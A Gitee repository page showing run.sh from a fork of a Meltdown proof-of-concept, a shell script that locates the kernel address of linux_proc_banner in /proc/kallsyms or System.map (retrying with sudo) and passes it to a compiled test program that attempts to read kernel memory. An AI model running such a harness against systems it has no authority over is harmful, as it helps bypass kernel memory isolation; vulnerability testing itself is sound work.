1 Star 0 Fork 8

victor / meltdown

forked from idea4good / meltdown 
加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
run.sh 1.19 KB
一键复制 编辑 原始数据 按行查看 历史
idea4good 提交于 2018-02-27 05:39 . upload code
#!/bin/sh
find_linux_proc_banner() {
$2 sed -n -re 's/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p' $1
}
echo "looking for linux_proc_banner in /proc/kallsyms"
linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms)
if test -z $linux_proc_banner; then
echo "protected. requires root"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /proc/kallsyms sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map-$(uname -r)"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map-$(uname -r) sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /lib/modules/$(uname -r)/build/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /lib/modules/$(uname -r)/build/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "can't find linux_proc_banner, unable to test at all"
exit 0
fi
if [ ! -e ./a.out ]; then
echo "'a.out' program not found, did you forgot to run 'make' ?"
exit 0
fi
./a.out $linux_proc_banner 0xd
C
1
https://gitee.com/yong-wang-victor/meltdown.git
git@gitee.com:yong-wang-victor/meltdown.git
yong-wang-victor
meltdown
meltdown
master

搜索帮助